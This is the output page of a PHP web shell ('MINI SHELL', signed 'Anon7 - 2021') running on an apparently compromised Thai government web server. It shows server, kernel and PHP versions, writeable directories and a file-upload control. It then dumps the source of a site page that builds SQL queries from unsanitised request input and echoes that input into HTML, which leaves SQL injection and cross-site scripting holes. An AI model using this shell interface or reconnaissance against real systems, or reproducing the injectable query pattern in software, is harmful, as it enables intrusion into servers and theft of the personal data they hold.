MINI SHELL

Server : Apache/2.2.2 (Fedora)
System : Linux App1.pathumtani.go.th 2.6.20-1.2320.fc5smp #1 SMP Tue Jun 12 19:40:16 EDT 2007 i686
User : apache ( 48)
PHP Version : 5.2.9
Disable Function : NONE
Directory :  /var/www/html/pathumthani_vc/report/pdir/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /var/www/html/pathumthani_vc/report/pdir/officer_person.php
<?
 include ("../../config/conndb.qpass.php");
$sql = "  SELECT  *  FROM  officer  WHERE officer.id = '$id'  "; 
//  echo $sql;
 $query_result=mysql_db_query($db_dataentry,$sql);
 $result =  mysql_fetch_array($query_result); 
?>
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html><head><title>แก้ไขหัวหน้าส่วนราชการ</title>
<meta http-equiv="Content-Type" content="text/html; charset=windows-874">
<meta HTTP-EQUIV="Pragma" CONTENT="no-cache">
<script src="../../common/functions.js" type="text/javascript" language="javascript"></script>
<link href="../../common/basiccss.css" rel="stylesheet" type="text/css">

<style type="text/css">
<!--
body {
	background-color: #EFEFEF;
}
-->
</style></head><body>
<form action="officer_edit.php" method="post" enctype="multipart/form-data" name="form2" > 
<table width="657" border="0" align="center" cellspacing="1" bgcolor="#CCCCCC">
  <tr>
    <td colspan="2" rowspan="5" align="center" bgcolor="#a3b2cc">
<?	if 	   ($result[images] != ""){		?>		

<img src=../../application/qpassport/pdir/show_person.php?tbname=officer&idfield=ID&idsearch=<?=$id?>&img_type=images_type&imgfield=images&url=officer_edit_form.php   width="100" height="130" vspace="5" border="0">



<a href="del_img.php?tbname=officer&idfield=ID&idsearch=<?=$id?>&type1=officer_img&imgfield=images">
<img src='../../images_sys/b_drop.png' width="16" height="16"  border="0" alt=" ลบรูปนี้ "></a>
      <?	} else  {   	  
	 echo "  <img src='../../images_sys/no_pic.jpg' width='90' height='70' > ";
	   }?>      </td>
    <td width="118" bgcolor="#a3b2cc">&nbsp;&nbsp;ตำแหน่ง :   *</td>
    <td width="207" bgcolor="#EFEFEF"> <?=$result[position]?></td>
  </tr>
  <tr>
    <td width="118" bgcolor="#a3b2cc">&nbsp;คำนำหน้า : * </td>
    <td bgcolor="#EFEFEF"> <?=$result[title]?></td>
  </tr>
  <tr>
    <td bgcolor="#a3b2cc">&nbsp;ชื่อ : *</td>
    <td bgcolor="#EFEFEF"> <?=$result[th_name]?></td>
  </tr>
  <tr>
    <td bgcolor="#a3b2cc">&nbsp;นามสกุล : * </td>
    <td bgcolor="#EFEFEF"> <?=$result[th_sname]?></td>
  </tr>
  <tr>
    <td bgcolor="#a3b2cc">โทรศัพท์ (ที่ทำงาน) :</td>
    <td bgcolor="#EFEFEF"> <?=$result[office_tel]?></td>
  </tr>
  <tr>
    <td width="71" bgcolor="#a3b2cc">&nbsp;E-mail : </td>
    <td width="248" bgcolor="#EFEFEF"><?=$result[email]?> </td>
    <td bgcolor="#a3b2cc">โทรศัพท์ (ที่พัก) :</td>
    <td bgcolor="#EFEFEF"> <?=$result[home_tel]?></td>
  </tr>
  <tr>
    <td bgcolor="#a3b2cc">ชื่อหน่วยงาน :  </td>
    <td bgcolor="#EFEFEF"><?
	 $sql2 = " SELECT * FROM  office_detail  WHERE  id = $result[office_id] ";
	 $query_result2 = mysql_db_query($db_dataentry,$sql2);
	 while ($result2 = mysql_fetch_array($query_result2))   {
	 	echo $result2[th_name] ;        
     }  ?> 
		</td>
    <td bgcolor="#A3B2CC">&nbsp;มือถือ : </td>
    <td bgcolor="#EFEFEF"> <?=$result[mobile]?></td>
  </tr>
  <tr align="center" bgcolor="#a3b2cc">
    <td colspan="4">

     <input type="submit" name="Submit" value=" ตกลง ">
     &nbsp;	<input type="reset" name="Reset" value="ยกเลิก" onClick="window.close();">
	<input name="id" type="hidden" value="<?=$id?>"></td>
    </tr>
  </table>
</form>
</body>
</html>

Anon7 - 2021